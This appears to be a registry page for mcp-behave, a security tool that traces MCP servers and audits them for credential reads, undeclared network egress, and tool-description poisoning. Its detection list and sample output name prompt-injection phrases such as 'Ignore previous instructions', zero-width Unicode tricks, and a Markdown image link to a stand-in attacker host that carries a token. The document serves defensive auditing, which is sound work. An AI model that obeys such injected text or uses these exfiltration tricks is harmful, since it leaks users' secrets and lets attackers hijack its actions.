Skip to main content
Glama

mcp-behave

CI PyPI version PyPI Downloads npm version mcp-behave MCP server – quality and maintenance score on Glama License: MIT

Runtime behavioral auditor for MCP servers. Runs an MCP server under a runtime tracer (macOS dylib, Linux LD_PRELOAD, or strace), exercises every tool / resource / prompt it advertises, and audits both system-level activity (network egress, sensitive file access, subprocess execution) and CSA threat vectors (metadata prompt injection, covert Unicode channels, client-side Markdown exfiltration).

Static scanners only read tool descriptions. mcp-behave observes what servers actually execute and return.

mcp-behave demo

📖 Read the research article: Auditing Real-World MCP Servers with mcp-behave for an empirical audit comparing real-world packages and investigating known MCP vulnerability classes.

🏗️ Architecture & Systems Internals: See ARCHITECTURE.md for module dependency, data-flow, and sequence diagrams of the audit pipeline.

The idea in one contrast

Compare three bundled targets in targets/:

  • honest_server.py: advertises a purely local note formatter and behaves honestly.

  • leaky_server.py: advertises the exact same harmless note formatter, but secretly accesses SSH keys and phones home via network syscalls.

  • poisoned_server.py: never makes network syscalls, but poisons its descriptions with covert zero-width spaces and prompt injection, and returns an external Markdown image link (![telemetry](https://...)) to trigger client-side HTTP GET exfiltration when rendered in a chat UI.

Target

Network Syscalls

File System Access

Metadata & Output Safety

Verdict

honest_server

none

none

clean

0 (PASS)

leaky_server

93.184.216.34:80

~/.ssh/id_rsa (canary)

clean

2 HIGH

poisoned_server

none

none

prompt injection & Markdown exfil

3 HIGH

The honest server producing zero findings matters as much as detecting the malicious ones — false positives destroy trust.

Related MCP server: Test MCP Server

Install & Quickstart

Run directly without manual installation:

# Via npx (Node.js ecosystem — zero install)
npx mcp-behave <server-command>

# Via uvx (Python ecosystem — zero install)
uvx mcp-behave <server-command>

Or install into your local environment:

# Via pip
pip install mcp-behave

# Via npm
npm install -g mcp-behave

Tracer Requirements

  • macOS: Works natively without strace or root using an injected dylib (DYLD_INSERT_LIBRARIES). Built automatically on first use with cc (Xcode Command Line Tools).

  • Linux: Works natively without strace or SYS_PTRACE using an LD_PRELOAD shared library. Built automatically on first use with cc (e.g. gcc). If no compiler is available, strace is used as a fallback if installed on PATH.

  • Untraced mode: Run on any platform with --no-trace for manifest inspection and rug-pull checks without any runtime tracer.

Use

# Audit any stdio MCP server -- pass its launch command:
mcp-behave python -m mcp_server_fetch
mcp-behave npx -y @modelcontextprotocol/server-filesystem /tmp
mcp-behave uvx mcp-server-git

# Run untraced (manifest & rug-pull analysis only, no tracer needed):
mcp-behave --no-trace python -m mcp_server_fetch

# Machine-readable output for CI:
mcp-behave --json --fail-on high python -m mcp_server_fetch

# Connect to an already-running remote server (manifest analysis only,
# no syscall trace possible):
mcp-behave --transport sse http://localhost:8000/sse

Exit codes: 0 clean, 3 findings at or above --fail-on threshold, 2 tracer setup failed, 1 other error.

Useful flags

  • --no-trace — skip syscall tracing and run manifest analysis only.

  • --tracer {auto,preload,dylib,strace,none} — choose tracer backend explicitly (default auto).

  • --json — emit findings as JSON on stdout.

  • --fail-on {never,info,high} — severity that triggers exit code 3 (default high).

  • --no-dns — skip reverse-DNS lookups (faster, offline-safe).

  • --timeout SECONDS — per-call timeout (default 15).

  • --transport {stdio,sse,streamable-http} — remote transports skip syscall tracing.

  • --out-dir PATH — where manifest.json and trace.log are written.

Environment Variables

Variable

Default

Description

OUT_DIR

/tmp/mcp_behave_out

Directory where probe output (manifest.json and trace.log) is stored.

TRACE_FILE

$OUT_DIR/trace.log

Path to the raw syscall trace log file.

MCP_BEHAVE_CALL_TIMEOUT

15

Timeout in seconds per individual tool, resource, or prompt call during exercise.

MCP_BEHAVE_STATE_DIR

$XDG_DATA_HOME/mcp-behave/manifests

Storage location for historical manifest hashes used in rug-pull detection.

MCP_BEHAVE_DEBUG

(unset)

Set to 1 to print full Python tracebacks on probe failures.

PROBE_NOISE_EXTRA

(empty)

Colon-separated path substrings to filter out as benign noise during trace analysis.

MCP_BEHAVE_DASHBOARD_URL

(unset)

Target dashboard URL for mcp-behave push.

MCP_BEHAVE_TOKEN

(unset)

API bearer token for mcp-behave push.

Run as an MCP Server (Glama, Claude Desktop, Cursor)

mcp-behave can run as an MCP server exposing behavioral security tools to AI agents:

  • audit_server: Probes and dynamically audits another MCP server's behavioral footprint.

  • inspect_manifest: Safely fetches and inspects advertised tools, resources, and prompts, and checks for rug-pulls.

# Start MCP server over stdio
npx mcp-behave serve
# or
uvx mcp-behave serve

Claude Desktop / Cursor / Cline Configuration

Add to your claude_desktop_config.json or Cursor MCP settings:

Option A: Using npx (No Python virtualenv setup needed)

{
  "mcpServers": {
    "mcp-behave": {
      "command": "npx",
      "args": ["-y", "mcp-behave", "serve"]
    }
  }
}

Option B: Using uvx

{
  "mcpServers": {
    "mcp-behave": {
      "command": "uvx",
      "args": ["mcp-behave", "serve"]
    }
  }
}

Glama & Registry Listing

mcp-behave is compatible with Glama and includes a root glama.json manifest. AI models can invoke audit_server to verify untrusted third-party MCP servers before interacting with them.

Push results to a dashboard

mcp-behave push uploads a JSON audit result to an mcp-behave dashboard.

# 1. Sign in at https://<your-dashboard>.vercel.app/settings and mint a token.
export MCP_BEHAVE_DASHBOARD_URL=https://<your-dashboard>.vercel.app
export MCP_BEHAVE_TOKEN=mcpb_...

# 2. Audit something with --json and pipe it to push.
mcp-behave --json python -m mcp_server_fetch \
  | mcp-behave push --server-name server-fetch --category network

# Or save to a file first, then push.
mcp-behave --json python -m mcp_server_fetch > audit.json
mcp-behave push audit.json --server-name server-fetch --category network

Flags worth knowing:

  • --server-name NAME — canonical name on the dashboard. Defaults to the joined server command from the audit JSON; usually you want to set this.

  • --description TEXT — used the first time this server is submitted.

  • --github-url URL, --npm-package PKG, --author NAME — optional server metadata.

  • --category {local,network,database,other} — defaults to other.

  • --dry-run — print the JSON payload that would be POSTed and exit.

The endpoint is rate-limited per token (20 req/min); push exits 1 on HTTP error and prints the response body to stderr.

What it detects

Findings are framed as observations ("does X, undeclared"), never accusations.

1. System-Level Behavioral Deviations (Runtime Traced)

  • Undeclared network egress — IP:port socket connections opened during probe execution (reverse-DNS resolved in findings when available). Flagged HIGH if manifest claims local/offline operation, INFO otherwise.

  • Sensitive-path reads — accesses to private credentials, keys, and environment files (~/.ssh/*, ~/.aws/*, ~/.env, ~/.netrc, ~/.kube/*, /etc/shadow, etc.). Flagged HIGH.

  • Subprocess execution — child binaries spawned by the server process (e.g., /bin/sh, curl, python). Flagged INFO.

2. Manifest Integrity & Rug-Pull Detection

  • Rug-pull alerts — detects if the declared manifest hash (tools, resources, prompts) silently changes between runs of the same server (e.g., modifying descriptions after user approval). Flagged HIGH. Hashes persist under $XDG_DATA_HOME/mcp-behave/manifests/.

3. CSA MCP Working Group Threat Catalog (TTPs)

  • Covert Channel & Metadata Injection (CSA TTP: Tool Description Poisoning) — scans tool names, tool/parameter descriptions, resource URIs, and prompt metadata for:

    • ANSI terminal escape sequences (\x1b[...], \033[...]) used for terminal/display manipulation.

    • Invisible & zero-width Unicode characters (\u200B, \u200C, \u200D, \uFEFF, \u2060), BiDi direction overrides (\u202A–\u202E, \u2066–\u2069), and Unicode tag characters (0xE0000–0xE007F).

    • Direct prompt injection patterns (e.g., Ignore previous instructions, SYSTEM PROMPT:, <system>, [system instruction], you must always call this tool first).

  • Tool Output Safety & Markdown Exfiltration (CSA TTP: Output Prompt Injection / Data Exfiltration) — exercises tools and audits response payloads for:

    • External Markdown images (![alt](https://...)) and HTML <img src="..."> tags that trigger silent client-side HTTP GET data exfiltration when rendered in chat interfaces.

    • Covert ANSI sequences, invisible Unicode payloads, and prompt injection directives embedded in tool response text.

Example Output

mcp-behave python targets/poisoned_server.py
=== STEP 1: observe (macos-dylib) ===
[probe] discovered 1 tool(s)
[probe] calling tool notes_analyzer({"note": "canary-input"})
[probe] manifest -> /tmp/mcp_behave_out/manifest.json
[probe] trace    -> /tmp/mcp_behave_out/trace.log
=== STEP 2: declared-vs-observed diff ===

  target tools: notes_analyzer
  resources:    0, prompts: 0
  declared scope hints: none
  --------------------------------------------------------
  [!] HIGH invisible/zero-width Unicode or BiDi override detected in tool 'notes_analyzer' description (zero-width space): covert prompt injection risk
  [!] HIGH prompt injection pattern detected in tool 'notes_analyzer' description: 'Ignore previous instructions'
  [!] HIGH tool 'notes_analyzer' returned external image link 'https://attacker-c2.example/exfiltrate?leak=secret_token_12345' -- potential client-side data exfiltration
  [i] INFO spawned subprocess: /path/to/python

Docker (works on macOS / Windows hosts)

docker build -t mcp-behave .
# default: runs the bundled leaky target so you can see findings immediately
docker run --rm mcp-behave
# point at a real server
docker run --rm mcp-behave python -m mcp_server_fetch

The container automatically compiles and runs the native LD_PRELOAD tracer without needing --cap-add=SYS_PTRACE. If you explicitly use --tracer strace, --cap-add=SYS_PTRACE is required.

The image bundles Node.js (for npx servers), uv (for uvx servers), and sandbox canary files (sandbox_home/) mounted as $HOME so credential reads are detectable.

Development

pip install -e ".[test]"
pytest -v

CI tests across Ubuntu and macOS; see .github/workflows/ci.yml.

Known limits

  • Runtime tracing requires macOS (DYLD interposition) or Linux (LD_PRELOAD / strace). Windows and other platforms can run with --no-trace for manifest and rug-pull checks. An eBPF backend for system-wide capture is on the roadmap — see ROADMAP.md.

  • stdio is the only transport with syscall tracing. sse and streamable-http connect to a remote server we cannot trace; only manifest analysis and rug-pull detection apply there.

  • Input synthesis is heuristic — JSON Schema format, key-name hints, and type defaults. Schema-coverage fuzzing (hypothesis-jsonschema) is roadmap.

  • AF_UNIX egress isn't matched — a server exfiltrating over a unix domain socket would slip past the current network detection.

  • Single call per capability — servers that misbehave only on specific inputs or after N calls may not be triggered.

License

MIT. See LICENSE.

Available Tools

2 tools
audit_serverB

Run a runtime behavioral audit on an MCP server. Exercises tools, resources, and prompts using canary inputs, captures system calls (network, files, subprocesses), and detects undeclared behaviors or manifest rug-pulls.

Inputs: command (required), tracer, timeout, no_trace, +2 more. Returns: result

inspect_manifestB

Inspect an MCP server's declared capabilities (tools, resources, prompts) without executing tool actions or tracing syscalls. Also checks for manifest rug-pulls against prior recorded runs.

Inputs: command (required), timeout, transport. Returns: result

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

Loading tool schema changelog…

    TDQS

    A3.5/5.0

    Scored across 2 tools

    Disambiguation5/5

    The two tools have clearly distinct modes: inspect_manifest is static, read-only manifest inspection, while audit_server performs runtime execution and syscall tracing. Although both mention rug-pull detection, the descriptions make the static-vs-runtime boundary explicit.

    Naming Consistency5/5

    Both names follow a consistent snake_case verb_noun pattern (inspect_manifest, audit_server). The verbs accurately reflect each tool's action.

    Tool Count3/5

    Two tools is thin for the server's scope, though each covers a meaningful analysis mode (static and runtime). Additional tools for managing or comparing audit runs would make the set feel more complete.

    Completeness4/5

    The surface covers the core static and dynamic auditing workflows, including rug-pull detection. Minor gaps exist around retrieving, listing, or comparing prior audit results and managing baselines.

    Maintenance

    ActivityMaintained
    ResponsivenessNo recent community issues

    Related MCP Connectors

    Related MCP Servers

    • F
      license
      Not graded
      quality
      D
      maintenance
      A basic MCP server implementation for testing purposes. Communicates via stdio and is designed to work with MCP-compliant clients.
      -
    • A
      license
      A
      quality
      B
      maintenance
      MCP server for https://oathe.ai security audits. Runtime behavioral analysis and security scanner for Ai systems. Check trust scores before installing MCP servers, plugins, or AI agent skills.
      5
      281 npm
      1
      MIT
    • A
      license
      A
      quality
      B
      maintenance
      Transparent Go proxy that intercepts, signs, rate-limits, redacts, and audits all MCP JSON-RPC tool calls without modifying client or server. Stores to JSONL or SQLite with HMAC-SHA256 signatures.
      14
      8
      Apache 2.0